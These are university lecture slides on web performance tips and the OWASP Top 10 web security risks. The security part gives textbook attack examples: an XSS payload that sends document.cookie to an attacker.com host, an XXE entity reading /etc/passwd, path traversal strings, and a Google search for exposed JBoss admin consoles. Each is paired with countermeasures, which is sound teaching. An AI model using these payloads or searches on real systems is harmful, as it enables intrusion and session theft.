Faculty of Science,
Technology
and Medicine

Web Programming

Volker Müller
University of Luxembourg

What is Web Performance Optimization?

Web performance optimization (WPO) = field of knowledge about increasing speed in which web pages are downloaded and displayed

“1-second delay in page load time yields 11% fewer page views and 16% decrease in customer satisfaction” [Aberdeen Group]

“47% of people expect a web page to load in two seconds or less” [Akamai]

Facts

CSS is a render blocking resource for rendering

→ Use media queries where possible: <link href="other.css" rel="stylesheet" media="(min-width: 40em)">

JavaScript can query and modify the DOM and the CSSOM

→ JavaScript execution blocks the CSSOM

→ JavaScript blocks DOM construction unless explicitly declared as “async”

CSS Suggestions

Put CSS in header

Avoid css imports (to minimize HTTP requests)

Small css code can be inlined in header, but don't inline in HTML elements

Use the media attribute in <link> such that CSS is only loaded under certain conditions

Minify css: remove white spaces, duplicate entries, unneeded code → Tools: csstidy, many IDEs, http://www.cleancss.com/

JS Suggestions

Minify and cleanse JS files (remember webpack)

Include JS file at bottom of page if code not needed for rendering

Prefer <script> to inline JS (allows caching !!)

<script> has “async” attribute if script does not interfere with DOM (similarly: attribute “defer”)

Make Ajax cacheable (with HTTP headers!)

HTML / PHP Tricks

Remove unneeded or empty tags (“tidy” : tool for clean up)

Remove white space where possible

Avoid empty src attribute in image tags

Consider prefetching (using browser idle time):

```
<link rel = "dns-prefetch" href = "https://api.twitter.com" />
```

```
<link rel = "prefetch" href="…" />
```

PHP: Flush the buffer as early as possible

HTML Tricks (2)

Minimize number of iframes

Reduce cookie size and # of cookies

Use cookie-free domains for static resources

Consider post-load components which are not immediately needed for rendering (using existing JS code: YUI Imageloader, jQuery load function)

Pre-load components (take advantage of idle time of browser), request components (like images, styles and scripts) you'll need in future

Rendering performance

Optimize JavaScript execution:

- Use efficient algorithms
- Use “precise” selectors

Reduce scope and complexity of style calculations

Avoid large, complex layouts and layout thrashing

Another Type of Optimization

Search engine optimization (SEO) = affecting the visibility of website / web page in a search engine's unpaid results

Many documents on tricks exist on the web, for different search engines

Conclusion

Only a few common suggestions given, more resources available on the web (especially at Google developer site)

In the end, the skills of the programmer to write efficient and correct code also plays an important role

Web Security - OWASP

Open Web Application Security Project (OWASP):
not-for-profit worldwide charitable organization focused on improving security of application software

Regular overviews about importance of threads, descriptions, best practices, tutorials, links to security software / frameworks, etc

Available at https://www.owasp.org

OWASP Top 10 Thread List (Version 2017)

A1: Injection

A2: Broken Authentication and Session Management

A3: Sensitive Data Exposure

A4: XML External Entities

A5: Broken Access Control

OWASP Top 10 Thread List (Version 2017)

A6: Security Misconfiguration

A7: Cross-Site Scripting (XSS)

A8: Insecure Deserialization

A9: Using Components with Known Vulnerabilities

A10: Insufficient logging & Monitoring

A1 - Injection

Injection flaws occur when web application sends untrusted data to interpreter → can be used to access resources

Can result in data loss / corruption, lack of accountability, denial of access, complete takeover

Example: SQL Injection, NoSQL Injection, OS Injection, LDAP Injection, ….

A1 – Examples

Verify that untrusted data is clearly separated from every command or query

Example SQL Injection:

```
String query = " SELECT * FROM accounts WHERE
custID =' " + request.getParameter("id") + " ' ";
```

Example LDAP Injection:

```
String ldapQuery = "(cn=" + $username + ")";
```

Ex: Roundcube Mailreader, 6.12.2016

POST data not sanitized correctly

→ PHP commands can be written to the web directory

See detailed description at https://blog.ripstech.com/2016/roundcube-command-execution-via-email/

A1 – SQL Injection – Countermeasures

Defense Option 1: Prepared Statements (Parameterized Queries)

Defense Option 2: Stored Procedures

Defense Option 3: Escaping All User Supplied Input

Other Aspects:

- Least Privilege on DB Objects
- White List Input Validation

A2 - Broken Authentication or Session Management

May allow some or even all accounts to be attacked → attacker can do anything the victim could do

Examples:

- Link containing session ID in URL
- Application timeouts aren't set properly
- Insider or external attacker gains access to the system's password database with unencrypted passwords (or unsalted, insecurely hashed)
- Weak passwords allowed / reuse of passwords

Broken Authentication - Countermeasures

Implement proper Password Strength Controls: Password Length, Password complexity

Implement Secure Password Recovery Mechanism

Require Current Password for Password Changes

Utilize Multi-Factor Authentication

Transmit Passwords Only Over TLS

Implement Account Lockout

A3-Sensitive Data Exposure

Frequently compromises all data that should have been encrypted

Examples:

- Cookie with session ID sent over HTTP connection
- Password DB uses unsalted hashes /other insecure crypto algorithms
- Application encrypts credit cards in DB to prevent exposure to end users. However, DB set to automatically decrypt queries against credit card columns
- Backup tape made of encrypted health records, but encryption key is on the same backup

General Recommendations

Only store sensitive data that you need

Use only strong cryptographic algorithms and widely accepted implementations

Always ensure data integrity and authenticity

Keep secret keys protected from unauthorized access (e.g. not stored with data !!), protect keys in a filevault

Change keys periodically

Insufficient Transport Layer Protection

Examples:

- Site simply doesn't use SSL for all pages that require authentication
- Site has improperly configured SSL certificate which causes browser warnings for users → after a while, users will only click "yes" to everything
- Site simply uses standard ODBC/JDBC for external DB connection, all traffic is in clear

Countermeasures

Use TLS for all login, all authenticated pages

Use TLS on any networks transmitting sensitive data

Do not provide non-TLS pages for secure content

Do not mix TLS and non-TLS content

Use "Secure" cookie flag

Keep sensitive data out of the URL

Prevent caching of sensitive data

More Countermeasures

Use appropriate Certificate Authority for the application's user base

Only support strong cryptographic ciphers, preferably providing “Perfect Forward Secrecy”

Only support strong protocols

Only support secure renegotiations

Use strong keys & protect them

Use certificates that supports all available domain names

A4 – XML External Entities

- Old XML processors are might be poorly configured to allow external entities
- → Hacker uploads malicious XML message (for example, with a fake SOAP service, SAML msg)

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

Countermeasures XML External Ent.

Whenever possible, use easier format like JSON

Patch XML processors

Disable XML external entities in XML parsers

Implement White-listing filtering

Use a Web Application Firewall to detect and prevent XXS attacks

A5 – Broken Access Control

Can compromise all data that can be referenced by parameter, even data not permitted for current user

Example: Java Servlet Code

```
PreparedStatement pstmt = connection.prepareStatement
("SELECT * FROM accounts WHERE user = ?" );

pstmt.setString ( 1, request.getParameter("acct") );

ResultSet results = pstmt.executeQuery ( ); ...
```

→ Use http://localhost/info?acct=root

Broken Access Control - CM

Avoid exposing direct object references to users by using

- an index,
- Or an indirect reference map,
- Or other indirect method that is easy to validate

If direct object reference must be used, ensure that user is authorized before using reference → always use access control checks

Variant: Path Traversal Attack

Application uses external input to construct pathname for read/write access

Input not sanitized for special elements

Example 1: Input filename ../../../../etc/passwd

If web server runs as root (should never !!), then user information can be read / overwritten

Example 2: http://uni.lu/item=%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows/System32/cmd.exe?/C+dir+C:\

A6-Security Misconfiguration

Frequently give attackers unauthorized access to some system data or functionality

Examples:

Unnecessary features enabled

Directory listing not disabled on server

Default accounts not changed → Attacker discovers standard admin pages on server

Error messages reveal information

Example for JBOSS Installations (2013)

Just google intitle:"jboss management console" "application server" version inurl:"web-console"

This gave me 14500 URLs where the admin console is public (2018: only 301 URLs)

I am sure that some use default credentials admin:admin or do not use password at all

Took me 30 seconds to find one in Brazil !!

A7 - Cross-Site Scripting (XSS)

XSS flaws occur when application includes user supplied data in page sent to browser without properly validating or escaping that content

Example: PHPCode

```
$page .= "<input name='creditcard' type = 'text'
    value = ' " . $_GET["CC"] . " '>";
```

Supplied parameter:

```
'><script> x = new XMLHttpRequest(); x.open(
'http://www.attacker.com/cgi-bin/cookie.cgi?f='+document.cookie);
x.send();</script><a href='
```

Variants of XSS

Stored XSS: Attack code permanently stored in DB

Reflected XSS: attack code delivered to victim via non-web route (email, other trusted server)

DOM-based XSS: attack payload executed as result of modifying DOM (usually with JS)

XSS CSS Attack

Little-known feature: some CSS implementations permit JavaScript code to be embedded in stylesheet:

- expression(...) directive
- url('javascript:...') directive
- XML binding language (XBL) in Firefox: -moz-binding
- HTC with IE: behavior directive

A7 – XSS – Prevention Rules

Never insert untrusted data except in allowed locations

HTML / Attribute Escape before inserting untrusted data into HTML element content / attributes

JS Escape before inserting untrusted data into JS data values

CSS Escape and Strictly validate before inserting untrusted data into HTML style property values

URL Escape before inserting untrusted data into URL parameter values

Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way

OWASP links to several Sanitization Libraries

A8 – Insecure Deserialization

- If deserialized data can be changed, then remote code attacks are possible
- APIs that accept deserialized external data are at risk (remember: JS data model implementations)
- Content of existing data structures used

→ Implement integrity checks (e-signatures), log deserialization, isolate code in low privilege environments

A9 – Using Components with Known Vulnerabilities

Vulnerable components (e.g., framework libraries) can be identified and exploited with automated tools

Solution: 1. Identify all components / versions you are using, including all dependencies

2. Monitor security of these components in public databases → keep them up to date

3. Maybe add security wrapper (“application level firewalls”)

A10 – Insufficient Logging & Monitoring

Monitoring is essential to detect attacks as early as possible

The more time an intruder has, the more harm he can do

→ Ensure proper logging of all important activities with integrity control

→ Ensure that logs can be read by central Monitoring server

Conclusion: Web App Security

Many different pitfalls exist which can decrease security of a web application

Developers should stay up-to-date with new attack techniques and counter-measures and apply them !!

Administrators should always monitor their systems, simply using Firewall / virus protection is not enough

Security policies, regular backups, and emergency procedures should exist

Next Week

Wrap-Up of the main topics in this course

Q&A session